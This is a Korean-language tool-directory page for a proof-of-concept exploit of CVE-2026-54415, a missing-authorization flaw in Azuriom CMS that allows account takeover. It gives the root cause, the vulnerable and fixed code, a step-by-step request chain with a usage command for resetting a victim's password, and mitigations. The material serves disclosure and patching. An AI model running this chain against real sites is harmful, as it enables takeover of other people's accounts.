Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-54415-PoC — CVE-2026-54415에 대한 PoC — Azuriom CMS (<1.2.11) 취약한 접근 제어 → 계정 탈취 | Kitploit
도구/GitHubGitHub/abdugafforov-bobur/cve-2026-54415-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingAuthenticationLearning & Education
GitHubabdugafforov-bobur/cve-2026-54415-poc

CVE-2026-54415-PoC

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-54415에 대한 PoC — Azuriom CMS (<1.2.11) 취약한 접근 제어 → 계정 탈취

저장소 보기
21개월 전아직 검토되지 않음

CVE-2026-54415 — Azuriom CMS의 손상된 접근 제어 → 계정 탈취

Azuriom CMS < 1.2.11에서 관리자 서버 관리 경로에 대한 권한 부여 누락으로 인해, admin.access 권한만 가진 낮은 권한의 관리자도 AzLink 서버 토큰을 생성하고 모든 비관리자 계정을 탈취할 수 있습니다.

CVECVE-2026-54415
제품Azuriom CMS
영향받는 버전< 1.2.11
수정된 버전1.2.11 — 커밋 4b744bc
CWECWE-862 (Missing Authorization), CWE-269 (Improper Privilege Management)
CVSS 3.18.1 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CVSS 4.08.6 High — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

이 PoC는 패치된 버전을 대상으로 한 방어 및 교육 목적으로 게시되었습니다. 소유하거나 명시적으로 테스트 권한을 부여받은 시스템에서만 실행하세요. Azuriom 1.2.11+로 업그레이드하세요.

✅ 로컬 Azuriom 1.2.10 인스턴스에 대해 종단 간 검증됨 — 접근 제어 우회, 토큰 생성, 비밀번호 변경 확인 및 피해자 로그인, 관리자 보호 경계.


근본 원인

routes/admin.php에서 전체 관리자 패널은 단일 can:admin.access 그룹에 의해 제한되며, 각 민감한 기능은 자체 세분화된 can:admin.* 미들웨어를 추가할 것으로 예상됩니다. 1.2.11 이전에는 서버 관리 경로에 이러한 미들웨어가 포함되어 있지 않았습니다:

root@kitploit:~
// routes/admin.php (취약, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');

따라서 관리자 패널에 접근할 수 있는 사용자(admin.access)는 서버를 생성할 수 있습니다. admin.servers 권한은 전혀 존재하지 않았습니다 — 수정될 때까지 존재하지 않았습니다.

수정 사항 (1.2.11)

공급업체는 새로운 admin.servers 권한을 생성하고 경로를 그 안에 래핑했습니다:

root@kitploit:~
// routes/admin.php (수정됨, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
    Route::resource('servers', ServerController::class)->except('show');
    Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
    Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});

동일한 커밋은 이전에 누락되었던 권한 검사를 social-links 및 pages/posts.attachments 경로에도 추가했습니다.


서버 생성이 계정 탈취로 이어지는 이유

서버를 생성하면 32자의 서버 토큰(app/Http/Controllers/Admin/ServerController.php)이 생성됩니다:

root@kitploit:~
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);

해당 토큰은 AzLink API(routes/api.php)를 인증하며, VerifyServerToken 미들웨어는 유효한 Azuriom-Link-Token 헤더를 포함한 모든 요청을 신뢰합니다. AzLink는 계정 관리 엔드포인트를 노출합니다:

root@kitploit:~
POST /api/azlink/password   → change a user's password by game_id
POST /api/azlink/email      → change a user's email by game_id
POST /api/azlink/register   → create users
POST /api/azlink/user/{id}/money/{add,remove,set}

updatePassword는 대상이 isAdmin()일 때만 거부합니다 — 모든 비관리자 계정은 탈취 가능합니다:

root@kitploit:~
public function updatePassword(Request $request) {
    // validates game_id + password
    $user = User::where('game_id', $request->input('game_id'))->firstOrFail();
    if ($user->isAdmin()) { return response()->noContent(); }   // only admins are protected
    $user->update(['password' => $request->input('password')]);
    ...
}

토큰은 연결 가능한 게임 서버가 필요하지 않음

서버 생성은 저장 전에 $server->bridge()->verifyLink()를 호출합니다. mc-azlink 유형의 경우 이는 무조건 true입니다:

root@kitploit:~
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }

따라서 공격자는 더미 address를 제공하면 서버가 저장되고, 새로운 토큰은 패널 내 AzLink 설정 명령(/azlink setup <url> <token>)에 표시됩니다.


공격 체인

root@kitploit:~
1. 낮은 권한의 관리자로 인증 (admin.access만 있음 — 존재하지 않았던 admin.servers는 없음)
2. POST /admin/servers   name=x&type=mc-azlink&address=127.0.0.1   → 서버 저장, 토큰 생성
3. GET  /admin/servers/{id}/edit                                   → 설정 명령에서 토큰 읽기
4. POST /api/azlink/password   (헤더 Azuriom-Link-Token: <token>)  game_id=<victim>&password=<new>
5. 피해자로 로그인                                                → 완전한 계정 탈취

사용법

root@kitploit:~
python3 poc.py \
  --url https://target.example \
  --admin-user lowpriv_admin --admin-pass 'password' \
  --victim-game-id 1001 \
  --new-password 'Pwn3d!TakenOver'

스크립트는 로그인하고, 서버 토큰을 생성하며, 이를 추출하고, AzLink를 통해 피해자의 비밀번호를 재설정한 후 토큰과 결과를 출력합니다. 모든 플래그는 poc.py --help를 참조하세요. requests가 필요합니다 (pip install requests).


해결 방법

  • Azuriom 1.2.11 이상으로 업그레이드하세요.
  • admin_servers를 감사하고 예상치 못한 서버 토큰을 취소하세요.
  • 최소 권한 원칙 적용: 어떤 역할이 admin.access를 가지고 있는지 감사하세요.

공개

  • 연구자 / 제보자: Bobur Abdugafforov (@abdugafforov-bobur)
  • CNA 할당: TuranSec
  • 게시일: 2026-06-17
  • 공급업체가 1.2.11에서 수정

참고 자료

  • Fix commit: https://github.com/Azuriom/Azuriom/commit/4b744bc0dd11f205f5aa053c6db8a949d3f0608e
  • Release: https://github.com/Azuriom/Azuriom/releases/tag/v1.2.11
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-54415

라이선스

MIT — 승인된 보안 테스트 및 연구용으로만 사용 가능.

도구 다운로드